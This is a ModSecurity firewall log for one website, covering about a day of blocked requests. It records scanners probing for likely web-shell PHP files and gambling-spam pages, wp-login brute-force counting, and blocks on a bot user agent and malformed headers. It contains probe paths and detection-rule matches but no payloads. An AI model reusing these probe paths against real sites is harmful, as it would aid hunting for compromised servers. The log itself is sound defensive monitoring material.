[Sun Mar 15 03:17:21.604910 2026] [:error] [pid 59255:tid 59278] [client 20.100.185.74:33083] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "abW0Qa3w_Oi6c1avgTsiQQAAAJE"]
[Sun Mar 15 03:17:23.237595 2026] [:error] [pid 59255:tid 59273] [client 20.100.185.74:37820] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "abW0Q63w_Oi6c1avgTsiSwAAAIw"]
[Sun Mar 15 03:17:23.973466 2026] [:error] [pid 59255:tid 59269] [client 20.100.185.74:31719] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "abW0Q63w_Oi6c1avgTsiUgAAAIg"]
[Sun Mar 15 03:17:24.666449 2026] [:error] [pid 59255:tid 59272] [client 20.100.185.74:58325] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx78.php"] [unique_id "abW0RK3w_Oi6c1avgTsiVgAAAIs"]
[Sun Mar 15 03:17:26.110789 2026] [:error] [pid 20020:tid 20023] [client 20.100.185.74:27405] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "abW0RkPjaRwagw2fU7g3QgAAAEE"]
[Sun Mar 15 03:17:27.385949 2026] [:error] [pid 20020:tid 20036] [client 20.100.185.74:33635] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "abW0R0PjaRwagw2fU7g3RAAAAE4"]
[Sun Mar 15 03:17:32.095447 2026] [:error] [pid 59255:tid 59266] [client 20.100.185.74:7704] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "abW0TK3w_Oi6c1avgTsifwAAAIU"]
[Sun Mar 15 03:17:33.988197 2026] [:error] [pid 59255:tid 59271] [client 20.100.185.74:30522] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "abW0Ta3w_Oi6c1avgTsiigAAAIo"]
[Sun Mar 15 03:17:36.402059 2026] [:error] [pid 19680:tid 19994] [client 20.100.185.74:31680] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "abW0UEnhGahR8LEhCX_FXAAAAcI"]
[Sun Mar 15 03:17:41.089203 2026] [:error] [pid 19671:tid 19987] [client 20.100.185.74:37776] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "abW0VVu8gYYbnWVq3mU01gAAARY"]
[Sun Mar 15 03:17:41.822874 2026] [:error] [pid 59255:tid 59269] [client 20.100.185.74:33645] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "abW0Va3w_Oi6c1avgTsiowAAAIg"]
[Sun Mar 15 03:17:42.649157 2026] [:error] [pid 20020:tid 20042] [client 20.100.185.74:21537] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "abW0VkPjaRwagw2fU7g3UQAAAFQ"]
[Sun Mar 15 03:17:43.592006 2026] [:error] [pid 20020:tid 20034] [client 20.100.185.74:37802] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "abW0V0PjaRwagw2fU7g3UwAAAEw"]
[Sun Mar 15 03:17:44.793564 2026] [:error] [pid 59255:tid 59268] [client 20.100.185.74:8102] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "abW0WK3w_Oi6c1avgTsiqgAAAIc"]
[Sun Mar 15 03:17:45.907210 2026] [:error] [pid 20020:tid 20043] [client 20.100.185.74:40416] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "abW0WUPjaRwagw2fU7g3VgAAAFU"]
[Sun Mar 15 03:17:46.962726 2026] [:error] [pid 19680:tid 19996] [client 20.100.185.74:30467] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "abW0WknhGahR8LEhCX_FYwAAAcQ"]
[Sun Mar 15 03:17:47.890657 2026] [:error] [pid 20020:tid 20036] [client 20.100.185.74:58058] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "abW0W0PjaRwagw2fU7g3WAAAAE4"]
[Sun Mar 15 03:17:48.847284 2026] [:error] [pid 19658:tid 19947] [client 20.100.185.74:62144] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "abW0XFIS7ZSIcsV9BQqfbAAAAAo"]
[Sun Mar 15 05:50:48.564040 2026] [:error] [pid 38536:tid 38563] [client 135.181.180.59:31250] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/168%20slot.aspx"] [unique_id "abXYOPpTEqkVJ0rBEWuK6gAAAAo"]
[Sun Mar 15 05:50:51.093615 2026] [:error] [pid 38645:tid 38661] [client 135.181.180.59:31262] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24th%20slot.aspx"] [unique_id "abXYOxFPHtsDUuVrWDZm8QAAAM4"]
[Sun Mar 15 05:50:53.664767 2026] [:error] [pid 38536:tid 38567] [client 135.181.180.59:31272] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2xl%20slot.aspx"] [unique_id "abXYPfpTEqkVJ0rBEWuK-wAAAA4"]
[Sun Mar 15 05:50:56.161373 2026] [:error] [pid 38536:tid 38560] [client 135.181.180.59:55492] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "abXYQPpTEqkVJ0rBEWuLFgAAAAc"]
[Sun Mar 15 05:51:17.214748 2026] [:error] [pid 38541:tid 38618] [client 135.181.180.59:37858] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "abXYVXuOpex8jIO0jt7bhAAAAIU"]
[Sun Mar 15 05:51:19.761256 2026] [:error] [pid 38541:tid 38631] [client 135.181.180.59:37860] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abXYV3uOpex8jIO0jt7biAAAAJI"]
[Sun Mar 15 05:51:22.379948 2026] [:error] [pid 9995:tid 10011] [client 135.181.180.59:37864] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "abXYWga8xkcaSmgTbwjuagAAAQ0"]
[Sun Mar 15 05:51:50.898089 2026] [:error] [pid 38540:tid 38610] [client 135.181.180.59:35362] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "abXYdl8bnHsJ1dE90bLrAgAAAFg"]
[Sun Mar 15 05:51:53.503727 2026] [:error] [pid 38536:tid 38558] [client 135.181.180.59:35374] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "abXYefpTEqkVJ0rBEWuLcwAAAAU"]
[Sun Mar 15 05:52:18.371323 2026] [:error] [pid 9995:tid 10012] [client 135.181.180.59:42854] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "abXYkga8xkcaSmgTbwjvNgAAAQ4"]
[Sun Mar 15 05:52:20.861530 2026] [:error] [pid 38645:tid 38671] [client 135.181.180.59:42870] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abXYlBFPHtsDUuVrWDZnMgAAANg"]
[Sun Mar 15 05:52:23.505943 2026] [:error] [pid 38536:tid 38558] [client 135.181.180.59:42874] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abXYl_pTEqkVJ0rBEWuLugAAAAU"]
[Sun Mar 15 05:52:26.019740 2026] [:error] [pid 38536:tid 38555] [client 135.181.180.59:33562] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abXYmvpTEqkVJ0rBEWuLvwAAAAI"]
[Sun Mar 15 05:52:28.680538 2026] [:error] [pid 38540:tid 38589] [client 135.181.180.59:33564] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "abXYnF8bnHsJ1dE90bLrGAAAAEM"]
[Sun Mar 15 05:52:31.263061 2026] [:error] [pid 38536:tid 38575] [client 135.181.180.59:33568] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "abXYn_pTEqkVJ0rBEWuLywAAABY"]
[Sun Mar 15 06:00:33.578002 2026] [:error] [pid 38645:tid 38653] [client 43.157.62.101:36528] [client 43.157.62.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abXagRFPHtsDUuVrWDZo_QAAAMY"]
[Sun Mar 15 06:05:59.154615 2026] [:error] [pid 38536:tid 38562] [client 162.243.212.22:44576] [client 162.243.212.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.vetstars.com.au"] [uri "/robots.txt"] [unique_id "abXbx_pTEqkVJ0rBEWuQ4AAAAAk"]
[Sun Mar 15 06:05:59.913093 2026] [:error] [pid 38536:tid 38561] [client 162.243.212.22:55372] [client 162.243.212.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.vetstars.com.au"] [uri "/robots.txt"] [unique_id "abXbx_pTEqkVJ0rBEWuQ5gAAAAg"]
[Sun Mar 15 09:02:46.370604 2026] [:error] [pid 38541:tid 38629] [client 20.214.141.70:30673] [client 20.214.141.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abYFNnuOpex8jIO0jt4UzQAAAJA"]
[Sun Mar 15 09:02:46.911371 2026] [:error] [pid 38540:tid 38599] [client 20.214.141.70:21242] [client 20.214.141.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abYFNl8bnHsJ1dE90bIKfQAAAE0"]
[Sun Mar 15 09:02:47.453225 2026] [:error] [pid 38645:tid 38659] [client 20.214.141.70:27916] [client 20.214.141.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abYFNxFPHtsDUuVrWDaSIwAAAMw"]
[Sun Mar 15 09:02:47.997160 2026] [:error] [pid 38540:tid 38592] [client 20.214.141.70:27923] [client 20.214.141.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abYFN18bnHsJ1dE90bIKgAAAAEY"]
[Sun Mar 15 09:43:20.547074 2026] [:error] [pid 50986:tid 51001] [client 43.158.91.71:52434] [client 43.158.91.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abYOuCknK4c779bcQqHFdgAAAUw"]
[Sun Mar 15 13:57:36.125857 2026] [:error] [pid 50986:tid 50994] [client 170.106.192.3:40340] [client 170.106.192.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abZKUCknK4c779bcQqFPsAAAAUY"]
[Sun Mar 15 15:18:25.319829 2026] [:error] [pid 38645:tid 38653] [client 36.111.67.189:39165] [client 36.111.67.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abZdQRFPHtsDUuVrWDZPYAAAAMY"]
[Sun Mar 15 16:13:19.464066 2026] [:error] [pid 38645:tid 38665] [client 104.234.53.82:59683] [client 104.234.53.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.82, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abZqHxFPHtsDUuVrWDZkpAAAANI"]
[Sun Mar 15 16:56:49.742362 2026] [:error] [pid 50986:tid 50997] [client 170.106.147.63:35496] [client 170.106.147.63] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abZ0USknK4c779bcQqGJLAAAAUg"]
[Sun Mar 15 22:11:49.995817 2026] [:error] [pid 38645:tid 38666] [client 182.42.111.156:60071] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aba-JRFPHtsDUuVrWDbfCQAAANM"]
[Sun Mar 15 22:57:52.320331 2026] [:error] [pid 9995:tid 10000] [client 43.135.142.37:44454] [client 43.135.142.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abbI8Aa8xkcaSmgTbwijuwAAAQI"]
[Mon Mar 16 02:33:45.610302 2026] [:error] [pid 60666:tid 60771] [client 43.130.131.18:39482] [client 43.130.131.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abb7iRLlrGpRCJDg8VL1awAAABM"]
[Mon Mar 16 04:58:54.212536 2026] [:error] [pid 62429:tid 62517] [client 1.15.52.154:39598] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abcdjlewIPukhLCowEGu-AAAAJU"]
[Mon Mar 16 07:02:26.712779 2026] [:error] [pid 62429:tid 62500] [client 203.188.168.29:33057] [client 203.188.168.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.188.168.29, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abc6glewIPukhLCowEHc9QAAAIQ"]
[Mon Mar 16 07:24:32.501126 2026] [:error] [pid 1411:tid 1429] [client 94.26.106.225:55826] [client 94.26.106.225] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/assets/images/accesson.php"] [unique_id "abc_sNrCV4sh-le3M-2BVQAAAU8"]
[Mon Mar 16 07:24:33.791876 2026] [:error] [pid 12768:tid 12779] [client 94.26.106.225:55834] [client 94.26.106.225] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/images/accesson.php"] [unique_id "abc_sYvjhfol0SJym0_DHQAAAYY"]
